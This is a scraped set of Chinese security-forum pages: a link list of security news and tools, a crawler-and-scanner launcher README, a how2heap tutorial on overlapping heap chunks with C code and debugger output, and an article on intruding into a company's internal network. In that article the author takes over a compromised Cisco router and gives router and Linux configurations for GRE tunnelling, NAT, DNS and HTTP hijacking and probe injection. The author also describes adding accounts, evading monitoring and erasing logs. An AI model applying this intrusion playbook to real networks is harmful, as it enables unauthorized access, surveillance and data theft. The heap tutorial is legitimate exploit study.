Amazon Echo可成为攻击者的监听设备
<http://www.securityweek.com/amazon-echo-could-become-attackers-listening-device>
美国最大医保公司Anthem再遭数据泄露，1.8万用户受影响
<https://threatpost.com/breach-at-third-party-contractor-affects-18000-anthem-members/127139/>
**技术类：**
【APT报告】Cobalt strikes回归：一个针对金融行业的APT组织
<http://blog.ptsecurity.com/2017/08/cobalt-group-2017-cobalt-strikes-back.html>
使用Frida从TeamViewer内存中提取密码
<https://github.com/vah13/extractTVpasswords>
通过使用Burp和Sqlmap Tamper利用二次注入漏洞
<https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/>
Rooting the Amazon Echo
<https://labs.mwrinfosecurity.com/blog/alexa-are-you-listening/>
使用SSH反向隧道进行内网穿透
<http://arondight.me/2016/02/17/%E4%BD%BF%E7%94%A8SSH%E5%8F%8D%E5%90%91%E9%9A%A7%E9%81%93%E8%BF%9B%E8%A1%8C%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/>
EXP-CVE-2016-3935
<https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2016-3935>
BlackHat 2017: The Shadow Brokers — Cyber Fear Game Changers
<https://blog.comae.io/the-shadow-brokers-cyber-fear-game-changers-d143796f560f>
对Clemency进行了额外的分析
<https://blog.trailofbits.com/2017/07/30/an-extra-bit-of-analysis-for-clemency/>
在WAGO PLC Ethernet中静默修复未授权命令注入漏洞
<https://cbolat.blogspot.com.tr/2017/08/silently-fixed-unauthorizedcommand.html>
命令注入漏洞测试方法谈
<https://www.hackerone.com/blog/how-to-command-injections>
CableTap White Paper – 26 CVEs for exploiting cable modems and set top boxes
<https://github.com/BastilleResearch/CableTap/blob/master/doc/pdf/DEFCON-25-Marc-Newlin-CableTap-White-Paper.pdf>
高通声卡驱动中的条件竞争漏洞分析（CVE-2017-7368）
<http://paper.seebug.org/364/>
SQLMap Web GUI
https://n0where.net/sqlmap-web-gui/
<https://github.com/Hood3dRob1n/SQLMAP-Web-GUI>
REMnux v6：逆向工程和恶意软件分析的Linux工具包
<https://n0where.net/reverse-engineering-malicious-software-remnux-distro/>
WiFiBeat:将802.11 frames存储在Elasticsearch中，并通过Kibana可视化
<https://www.wifibeat.org/#>
WMIMon：Windows平台监控WMI活动的命令行工具
<https://github.com/luctalpe/WMIMon>
破坏认证和会话管理 – Session Fixation
<https://www.peerlyst.com/posts/broken-authentication-and-session-management-session-fixation-hari-charan>
OWASP移动安全测试指南
<https://b-mueller.gitbooks.io/the-owasp-mobile-security-testing-guide/content/> | 社区文章 |
# 利用被入侵的路由器迈入内网
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/tips/9121>
译文仅供参考，具体内容表达以及含义原文为准。
去年开始利用路由器对目标内网进行渗透的方式方法开始研究,测试了一阵了。看到乌云之前有一篇翻译外国人的文章,讲路由器流量劫持的,利用条件苛刻,成效也不大。所以决定写一篇自己实测的例子。
**
**
**0x01 控制路由器**
现在只搞cisco的路由器,但是方法不限于cisco,华为,juniper什么的都可以。
这一步没有什么好的办法,我们利用分布式扫描抓到了一些路由器,再加上其他的漏洞,有了一定数量作为测试保证。
选择一台 cisco c800系列的小企业路由器(很老了)
图1 router version
进去之后,先查看日志,登陆认证相关信息。
图 2 router 登陆等相关信息
有一个登陆限制的acl,被我之前删掉了,这就找到了telnet的密码。同时没有开启aaa认证,也就不存在什么认证服务器什么的,就只有本地验证。没有任何日志服务器的配置,连snmp都没有配置(本来还想留一个snmp的后门,看来是不行了)。
赶紧添加账号密码,加固路由器,修复漏洞。
图3 添加特权账户
**0x02 网络拓扑分析**
基本操作完,赶紧保留一份完整的配置(这个不能完整的贴出来)然后分析基本网络架构。
总述就是这是一个公司的小分部,通过pppoe加nat上网,有一个公网ip地址,有一个10.xx.xx.0/24的内网地址,通过gre的隧道,和主公司相连,拥有更为庞大的内网。
这种网络形式是最为常见的,通过ISP拨号获取公网地址,然后内网机器通过nat上网。全公网ip地址的公司网络极为少见。
网络拓扑如下
图4 网络拓扑示意图
**0x03 准备进入内网**
内网机器通过NAT访问Google,同时内网受到NAT的保护。我们控制了R1这台路由器,处于内网出口;还有一台公网VPS,ubuntu12.04
。R2表示很多台路由器,没有控制权限。
由于想要进行内网渗透测试,需要获取更多的信息。我们另外添加一台公网VPS(win2008R)在上面架设流量监视服务器,分析内网日常流量和行为。
win2008搭建的是netflow服务器,在R1上配置netflow,来观测内网流量信息。netflow软件网上有好多,solarwind最好,支持sqlserver2005,能存储大量的数据,没找到破解版。我用的ManageEngine,到处都是破解版。
netflow配置:
ip flow-export so int e 0
ip flow-ex dst 1.1.1.1 8888
ip flow-ex ver 5
……
流量分析比较直观,公司日常工作流量都是通过GRE
Tunnel到达主网络,日常流量以http和https为主,而且通过流量统计可以看出来,他们的dns绝大多数都是Google public
dns,占了所有dns流量的90%以上。
图6 目标网络流量总览图
图7 流量分类示意图
统计出来的web流量,尝试去打开这些网页,我都打不开,都是提示404 Not
Found或者就是证书错误。这样看不见到底访问的是什么网站,Google也都没有搜索记录,就只能勉强看一下bing的同站,结果记录还是特别少。
为了摸清这个内网更为详细的信息(公司叫什么名字,员工经常登陆什么网站,常用软件是什么),就只能先劫持一下DNS了。由于网络环境比较恶略,有个NAT使得网络复杂太多。所以不选择使用透明劫持方式,选择用网关劫持方式。
做一下名词解释:
透明劫持方式:自定义名词,即不修改数据包的源IP地址和目的IP地址,只对数据包的data和checksum进行修改。这样基本不会让用户和服务器引起任何察觉,做到完全透明,同时无法被杀软防火墙IPS之类的发觉,除了增加一些延迟。
网关劫持方式:顾名思义,就是作为一个网关,对经过我的流量进行路由和NAT,使得流量能够正常在Internet上传输。会产生较大的影响,以Gmail为例,会提示异地登陆等。
关于劫持有一条准侧(我总结的):在有防火墙或者NAT的环境中劫持流量,你在哪把数据包接走,必须得把数据包(被劫持的数据包或者该数据包的回包)送回到那里。
这里做一下解释,在NAT上网的环境中做GRE通道的流量劫持,会很麻烦。出方向数据包通过路径为先进入GRE Tunnel,然后作为一个GRE
数据包通过NAT,也就是NAT只对GRE数据包生效,并且记录下状态,不会对被包含在GRE 中的数据包进行NAT,所以入方向,无法通过NAT。
这样的解释适用于防火墙。
因为编程能力有限等考虑,决定使用网关劫持模式。
在R1的连接公网的端口和我的Linux eth0 建立GRE Tunnel
Linux IP 地址:1.1.1.1
路由器公网IP地址:2.2.2.2
R1的配置
en
conf t
int tunnel 1
tunnel so e0(接口名称,也可以使用接口IP地址,但是会出问题)
tunnel dest 1.1.1.1
ip add 12.1.1.1 255.255.255.252
end
linux Ubuntu 配置: 建立GRE Tunnel
#modprobe ip_gre
#lsmode | grep
#ip tunnel add gre1 mode gre remote 2.2.2.2 local 1.1.1.1 ttl 255
#ip link set gre1 up
#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1
在Tunnel的两端都PING一下对端的IP地址,应该都是通的。
然后开启路由转发
将 /proc/sys/net/ip_forward 的数值修改为 1 (本次有效,重启后失效)
修改 /etc/sysctl.conf 文件,让包转发在系统启动时生效
net.ipv4.ip_forward = 1 前面的#号去掉
开启Iptables 的NAT
#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58
192的地址为需要做NAT的地址,202地址为已有公网IP地址,配置单词生效,重启后失效。
保存iptables 的规则 。
#service iptables save
添加内网路由
route add -net 10.0.0.0/8 gre1
通往10.0.0.0这个八位的网络全部走gre1这个出口,即全部走GRE隧道。
然后利用我们自己开发的软件获取DNS数据内容 ,内容不方便贴出。
劫持了几天dns,看他们上了几天网之后,对内网有了个更为清楚的认识。进一步对HTTP数据包进行修改,加了个探针。探明之后再准备加入EXP获取内网权限,结果都是chrome,就放弃了。探针信息不方便贴出。
流量中还有telnet,ssh这类的流量,但是不能劫持,目的地址做了acl的限制,我的Linux不能访问,直接refuse。
**0x04 进入内网**
流量不能帮我获取内网权限,就只能自己进入内网。
强制劫持一个内网没有人用的合法IP地址,通过连接linux
openVPN分配给自己,剩下只要在路由器添加这个地址的主机路由和在Linux上添加到10.xx.xx.xx/8
的默认路由,然后我的WorkStation就获得了内网访问权限(没有像VPN什么的限制,访问权限等同于路由器权限)。
如何让自己的WorkStation进入内网就是很随意的了,方法实在是太多,因为此时这台Ubuntu已经在内网中。openVPN配置和添加路由配置就不贴出了,网上太多。
图8 验证Ubuntu于内网的连通性
这样的内网渗透是有以下几个优点:
你所有的流量会被内网流量设备认为是内网流量,流量稍微大一点的内网,你可以随意下载文件,不用再关心流量过大引起报警。(理论,没脱过文件)
在路由器上做好隐藏,规避netflow监测,去掉日志,在临走的时候直接erease所有的存储器,你的行为在内网不可查。(理论,没做过)
如果地址劫持的合适,能绕过内网服务器的登陆限制(三层限制)。
时间把握的好,可以制造内网某员工从文件服务器大量下载文件的假象。(理论,没做过)
缺点
就一个,数据包不加密,这点很烦人,数据包基本全透明。要是路由器外没有安全设备了或者直接做一个IPSec Tunnel,就等同于没缺点。
总结,就是拥有极高的隐蔽性,远高于VPN,马什么的。连日志服务器都可以不怎么理他。
本文标题为迈入内网,并非内网渗透,不做内网渗透相关研究。
所有的敏感的信息已经修改涂掉。
**0x05 后话**
其他的一些小讨论
关于链路延迟,研究比较多,需要多说一点。以我劫持的Google为例,我在Google与内网路径的附近,并且是靠近Google的一端。
到Google的延迟平均为0.617ms
图9 Ubuntu 到Google延迟
路由器到Linux的延迟平均为256ms,路由器直接ping Google 平均延迟时180ms
图10 路由器网络延迟截图
Linux处理劫持数据,修改数据包的软件延迟约为5ms,所以预估劫持之后的延迟应该在260ms左右。
但是,经过劫持之后,到目标的延迟为248,该数值小于256ms+0.6ms+5ms,至于为什么,无法解释。
总体延迟影响,增加了180ms的三分之一,60ms左右。
之前我们对延迟有过较多的讨论:增加了延迟的三分之一,影响会比较明显,容易被察觉从而引发报警。我个人认为,大家上百度比平时延迟增加了500ms,或是1s,就算是baidu的运维,在检查完IP地址,看完tracert之后,也就骂骂运营商。更何况一般网络用户不会认为是运营商的问题,只会认为是不是自己电脑卡了,可能有人怀疑自己被网络劫持了么。
关于内网路由器的讨论,本文研究的路由器为网络边界路由器,至少有一个公网IP地址。当路由器或者三层交换处于内网中,劫持能否使用,答案是可以的。通过建立七层应用层隧道(GRE为三层网络层隧道),就像我们个人电脑一样,穿过内网。或者直接同内网的一台服务器建立连接,劫持数据(经过验证,但是公网测试时,对端是一台公网CISCO路由器2911,没试过服务器,开发能力有限)。
如果需要穿透内网,需要应用层VPN,例如IPSec VPN,EZ VPN (我测试了这俩,其他的高于三层的VPN都理论可行)等,配置比GRE
Tunnel复杂的多,但懂了原理配置还是很简单的。配置实在是贴不完。IP Sec VPN理论上应该可以向IP Sec VPN
服务器建立连接,我没成功,还在理论层面研究。EZ VPN ,CISCO专有,肯定不能在WIN或者linux上搭建服务器。
关于驻留,通过路由器扩展内网驻留或者路由器后门驻留,比马什么的好太多了,除了NSA和fireeye,没听说过谁接触过过路由器后门的。国内绝对是通杀,会配置路由器的都没几个人,更别说反查。
关于HTTPS的讨论:绿标这个问题确实比较头疼,我目前尝试能过的就是嵌套,在绿标中插入红标,最后用户看到的还是绿标。
关于流量劫持软件,网上都说劫持软件多如牛毛,但是实际上找下来,就没有一个可以拿来直接用的,尤其是在透明劫持这个模式下,没发现能直接用的,像什么MITMproxy什么什么的,大家都说好,实际测试一下,也就适合开发人员调试软件,所以只能自己开发,但是开发能力有限。
希望大家推荐一些,能效率很高的处理大流量(例如BGP劫持)的软件。 | 社区文章 |
# crawlergo_x_XRAY
crawlergo动态爬虫 结合 长亭XRAY扫描器的被动扫描功能 (其它被动扫描器同理)
<https://github.com/0Kee-Team/crawlergo>
<https://github.com/chaitin/xray>
## 介绍
一直想找一个小巧强大的爬虫配合xray的被动扫描使用,
360 0Kee-Teem最近公开了他们自己产品中使用的动态爬虫模块,经过一番摸索发现正合我意,就写了这个脚本
由于该爬虫并未开放代理功能并且有一些从页面抓取的链接不会访问,所以我采用的官方推荐的方法,爬取完成后解析输出的json再使用python的request库去逐个访问
大概逻辑为:
爬取和请求的过程使用了多线程和队列使得请求不会阻塞下一个页面的爬取
## 用法
1. 下载xray最新的release, 下载crawlergo最新的release
注意,是下载编译好的文件而不是git clone它的库
1. 把launcher.py和targets.txt放在crawlergo.exe同目录下
1. 配置好并启动xray被动扫描(脚本默认配置为127.0.0.1:7777)若修改端口请同时修改launcher.py文件中的proxies
配置参数详见XRAY官方文档
1. 配置好launcher.py的cmd变量中的crawlergo爬虫配置(主要是chrome路径改为本地路径), 默认为:
./crawlergo -c C:\Program Files (x86)\Google\Chrome\Application\chrome.exe -t 20 -f smart --fuzz-path --output-mode json target
配置参数详见crawlergo官方文档
1. 把目标url写进targets.txt,一行一个url
1. 用python3运行launcher.py ( XRAY被动扫描为启动的状态 )
2. 生成的sub_domains.txt为爬虫爬到的子域名, crawl_result.txt为爬虫爬到的url
具体源码如下:
<https://github.com/timwhitez/crawlergo_x_XRAY> | 社区文章 |
# how2heap之overlapping1/2
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==
>
> 接上一篇的unink
PS:由于本人才疏学浅,文中可能会有一些理解的不对的地方,欢迎各位斧正 🙂
## 参考网站
https://ctf-wiki.github.io/ctf-wiki/
## 0x0 overlapping_chunk
### 序
overlapping在平常算是最常用的技巧了,几乎每一道题都需要构造overlap
而提到overlapping就不得不说chunk shrink和chunk
extend了,其实这两个都是依靠更改chunk的pre_size域和size域来欺骗ptmalloc的
详情可见,[文章一](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping-zh/#4extendoverlapping),[文章二](https://nightrainy.github.io/2019/07/25/chunk-extend-and-overlapping/)
好了,回过来,我们继续看本例
### 源代码
我们还是先看源代码吧,同样的,我删了写东西并加了一小点翻译(雾
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
fprintf(stderr, "The 3 chunks have been allocated here:np1=%pnp2=%pnp3=%pn", p1, p2, p3);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
free(p2);
// p2现在在unsorted bin中,时刻准备为新的malloc服务
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possiblennew malloc() of its sizen");
// 现在模拟一下溢出来覆写p2的size
fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of thenchunk freed p2.n");
//对实例程序而言,最后三个字节是什么并不重要,然而,我们最好还是维持一下堆的稳定性
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.n");
//为了维持堆的稳定性,我们还是要把prev_inuse标志位设位1来确保我们的p1不会被错误的认为是一个free chunk
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.n");
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives usna region size of %dn", evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
//现在我们分配一个和p2被注入的size一样的大小的chunk
fprintf(stderr, "nNow let's allocate another chunk with a size equal to the datan"
"size of the chunk p2 injected sizen");
这次的malloc将会从我们刚刚修改过size的unsoted bin中取出free chunk
fprintf(stderr, "This malloc will be served from the previously freed chunk thatn"
"is parked in the unsorted bin which size has been modified by usn");
p4 = malloc(evil_region_size);
fprintf(stderr, "np4 has been allocated at %p and ends at %pn", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %pn", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.n");
//现在我们写进p4的内容就可以覆盖p3啦,同时,我们写到p3里的内容也可以修改p4的内容
fprintf(stderr, "nNow everything copied inside chunk p4 can overwrites data onnchunk p3,"
" and data written to chunk p3 can overwrite datanstored in the p4 chunk.nn");
fprintf(stderr, "Let's run through an example. Right now, we have:n");
fprintf(stderr, "p4 = %sn", (char *)p4);
fprintf(stderr, "p3 = %sn", (char *)p3);
fprintf(stderr, "nIf we memset(p4, '4', %d), we have:n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %sn", (char *)p4);
fprintf(stderr, "p3 = %sn", (char *)p3);
fprintf(stderr, "nAnd if we then memset(p3, '3', 80), we have:n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %sn", (char *)p4);
fprintf(stderr, "p3 = %sn", (char *)p3);
}
### 运行结果
This is a simple chunks overlapping problem
Let's start to allocate 3 chunks on the heap
The 3 chunks have been allocated here:
p1=0x7aa010
p2=0x7aa110
p3=0x7aa210
Now let's free the chunk p2
The chunk p2 is now in the unsorted bin ready to serve possible
new malloc() of its size
Now let's simulate an overflow that can overwrite the size of the
chunk freed p2.
For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap.
To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk.
We are going to set the size of chunk p2 to to 385, which gives us
a region size of 376
Now let's allocate another chunk with a size equal to the data
size of the chunk p2 injected size
This malloc will be served from the previously freed chunk that
is parked in the unsorted bin which size has been modified by us
p4 has been allocated at 0x7aa110 and ends at 0x7aa288
p3 starts at 0x7aa210 and ends at 0x7aa288
p4 should overlap with p3, in this case p4 includes all p3.
Now everything copied inside chunk p4 can overwrites data on
chunk p3, and data written to chunk p3 can overwrite data
stored in the p4 chunk.
Let's run through an example. Right now, we have:
p4 = xK<5
3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
If we memset(p4, '4', 376), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
And if we then memset(p3, '3', 80), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444
3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444
### 调试
因为程序比较简单,我这里就仅作几个断点来调试本例
► 24 p3 = malloc(0x80 - 8);
28 memset(p1, '1', 0x100 - 8);
29 memset(p2, '2', 0x100 - 8);
30 memset(p3, '3', 0x80 - 8);
31
► 32 fprintf(stderr, "nNow let's free the chunk p2n");
33 free(p2);
► 34 fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possiblennew malloc() of its sizen");
47 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
48
► 49 fprintf(stderr, "nNow let's allocate another chunk with a size equal to the datan"
53 p4 = malloc(evil_region_size);
54
► 55 fprintf(stderr, "np4 has been allocated at %p and ends at %pn", (char *)p4, (char *)p4+evil_region_size);
► 67 memset(p4, '4', evil_region_size);
71 fprintf(stderr, "nAnd if we then memset(p3, '3', 80), we have:n");
► 72 memset(p3, '3', 80);
► 72 memset(p3, '3', 80);
73 fprintf(stderr, "p4 = %sn", (char *)p4);
74 fprintf(stderr, "p3 = %sn", (char *)p3);
好了,先malloc3个chunk,p1,p2,p3,此时的堆
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603100 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603200 FASTBIN {
prev_size = 0,
size = 129,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603280 PREV_INUSE {
prev_size = 0,
size = 134529,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后给三个chunk赋初值
pwndbg> x/10gx p1
0x603010: 0x3131313131313131 0x3131313131313131
0x603020: 0x3131313131313131 0x3131313131313131
0x603030: 0x3131313131313131 0x3131313131313131
0x603040: 0x3131313131313131 0x3131313131313131
0x603050: 0x3131313131313131 0x3131313131313131
pwndbg> x/10gx p2
0x603110: 0x3232323232323232 0x3232323232323232
0x603120: 0x3232323232323232 0x3232323232323232
0x603130: 0x3232323232323232 0x3232323232323232
0x603140: 0x3232323232323232 0x3232323232323232
0x603150: 0x3232323232323232 0x3232323232323232
pwndbg> x/10gx p3
0x603210: 0x3333333333333333 0x3333333333333333
0x603220: 0x3333333333333333 0x3333333333333333
0x603230: 0x3333333333333333 0x3333333333333333
0x603240: 0x3333333333333333 0x3333333333333333
0x603250: 0x3333333333333333 0x3333333333333333
这些都没啥好看的,我们直接往下走,此时我们free掉了chunk2,chunk2被放进了unsorted bin中
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603100 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603100
smallbins
empty
largebins
empty
pwndbg>
紧接着我们假设我们溢出了chunk1,成功修改了chunk2的size为0x181
pwndbg> x/10gx 0x603100
0x603100: 0x3131313131313131 0x0000000000000181
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603120: 0x3232323232323232 0x3232323232323232
0x603130: 0x3232323232323232 0x3232323232323232
0x603140: 0x3232323232323232 0x3232323232323232
之后程序malloc了p4,此时的堆
0x603000 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x3131313131313131,
bk = 0x3131313131313131,
fd_nextsize = 0x3131313131313131,
bk_nextsize = 0x3131313131313131
}
0x603100 PREV_INUSE {
prev_size = 3544668469065756977,
size = 385,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x3232323232323232,
bk_nextsize = 0x3232323232323232
}
0x603280 PREV_INUSE {
prev_size = 3689348814741910323,
size = 134529,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到我们0x603100也就是p4的size是0x181,此时的p3,p4分别在
pwndbg> p/x p3
$1 = 0x603210
pwndbg> p/x p4
$2 = 0x603110
而这又意味这什么呢?
我们回想一下,p3的大小是0x100,而p4的大小为0x181,而这两个只相差0x100
pwndbg> p/x 0x603210-0x603110
$3 = 0x100
这样我们就成功的构造了overlapping,也就是说,我们的p4将整个p3都包了进去
### 总结
程序先是malloc了2个0x100大小的chunk,p1,p2,和一个大小为0x80的chunk,p3
紧接着,程序初始化了三个chunk,里面的值分别为1,2,3
之后程序free掉了p2,并假设拥有溢出的能力,通过溢出p1修改了p2的size域
此时p2的size是0x181,系统会认为我们有一个大小为0x180的在unsorted bin中的fake chunk
紧接着,我们再申请了一个大小为0x180的chunk p4,这样系统就会把我们unsorted bin中的free
chunk也就是我们构造好的大小为0x180的fake chunk拿出来给p4
此时p4的后0x80的空间就和p3共享了,这就构成了overlapping_chunk! 堆重叠
## overlapping_chunks_2
这里是overlapping的第二个,我们先看看源代码吧
### 源代码
我删除了一些无关语句,并加了一些注释(理解不对的地方多包涵2333
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
//这个也被称为不相邻的free chunk conslidation 攻击(这里就不强翻了,没呢味儿
fprintf(stderr, "nThis is also referenced as Nonadjacent Free Chunk Consolidation Attackn");
fprintf(stderr, "nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
//malloc_usable_size函数可以获取chunk实际分配的内存大小
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf(stderr, "nnchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "nchunk p5 from %p to %pn", p5, (unsigned char *)p5+malloc_usable_size(p5));
//为了便于看攻击效果,所以五个chunk分别为A,B,C,D,E
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
//我们现在Free一下p4,在有p5邻接top chunk的情况下,我们释放p4不会引起p4与top chunk的合并
fprintf(stderr, "nLet's free the chunk p4.nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4n");
free(p4);
//现在我们通过溢出chunk p1将chunk p2的size改成p2+p3的大小并且将标注为设为正在使用来触发漏洞
fprintf(stderr, "nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2nwith the size of chunk_p2 + size of chunk_p3n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
现在我们再free p2,这个时候ptmalloc就会认为下一个chunk是p4(p2的size已经被我们更改为p2+p3的大小了
fprintf(stderr, "nNow during the free() operation on p2, the allocator is fooled to think that nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) n");
//这样就会创建一个大的错误包含p3的free chunk
fprintf(stderr, "nThis operation will basically create a big free chunk that wrongly includes p3n");
free(p2);
//现在我们再创建一个新的大小正好是我们创建的fake free chunk的新chunk
fprintf(stderr, "nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunkn");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and nwe can overwrite data in p3 by writing on chunk p6n");
fprintf(stderr, "nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "nchunk p3 from %p to %pn", p3, (unsigned char *) p3+real_size_p3);
fprintf(stderr, "nData inside chunk p3: nn");
fprintf(stderr, "%sn",(char *)p3);
fprintf(stderr, "nLet's write something inside p6n");
memset(p6,'F',1500);
fprintf(stderr, "nData inside chunk p3: nn");
fprintf(stderr, "%sn",(char *)p3);
}
### 程序运行结果
chunk p1 from 0x220f010 to 0x220f3f8
chunk p2 from 0x220f400 to 0x220f7e8
chunk p3 from 0x220f7f0 to 0x220fbd8
chunk p4 from 0x220fbe0 to 0x220ffc8
chunk p5 from 0x220ffd0 to 0x22103b8
Let's free the chunk p4.
In this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4
Let's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2
with the size of chunk_p2 + size of chunk_p3
Now during the free() operation on p2, the allocator is fooled to think that
the nextchunk is p4 ( since p2 + size_p2 now point to p4 )
This operation will basically create a big free chunk that wrongly includes p3
Now let's allocate a new chunk with a size that can be satisfied by the previously freed chunk
Our malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and
we can overwrite data in p3 by writing on chunk p6
chunk p6 from 0x220f400 to 0x220fbd8
chunk p3 from 0x220f7f0 to 0x220fbd8
Data inside chunk p3:
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC